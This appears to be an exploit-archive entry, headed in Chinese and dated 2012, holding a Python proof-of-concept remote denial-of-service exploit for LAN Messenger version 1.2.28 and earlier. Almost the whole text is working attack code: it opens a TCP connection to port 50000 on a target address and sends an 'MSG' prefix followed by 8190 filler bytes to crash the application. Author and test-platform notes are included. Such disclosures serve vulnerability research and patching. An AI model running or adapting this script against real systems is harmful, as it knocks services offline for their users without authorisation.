发布 2012-05-01 漏洞条目

LAN Messenger 1.2.28 – Denial of Service

Exploit Source

#!/usr/bin/python

# Exploit Title: LAN Messenger <= v1.2.28 Remote Denial of Service Vulnerability

# Version: <= v1.2.28

# Date: 2012-04-28

# Author: Julien Ahrens

# Homepage: www.inshell.net

# Software Link: http://lanmsngr.sourceforge.net/

# Tested on: Windows XP SP3 Professional German, Windows 2008R2 SP1 German

# Notes: Under WinXP the app needs 8190 Bytes to crash

# Howto: -

from struct import pack

import socket,sys

import os

target="192.168.0.1"

port=50000

junk = "\x41" * 8190

print "[*] Connecting to Target " + target + "..."

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

connect=s.connect((target, port))

print "[*] Connected to " + target + "!"

except:

print "[!] " + target + " didn't respond\n"

sys.exit(0)

print "[*] Sending malformed request..."

s.send("\x4d\x53\x47" + junk)

print "[!] Exploit has been sent!\n"

s.close()

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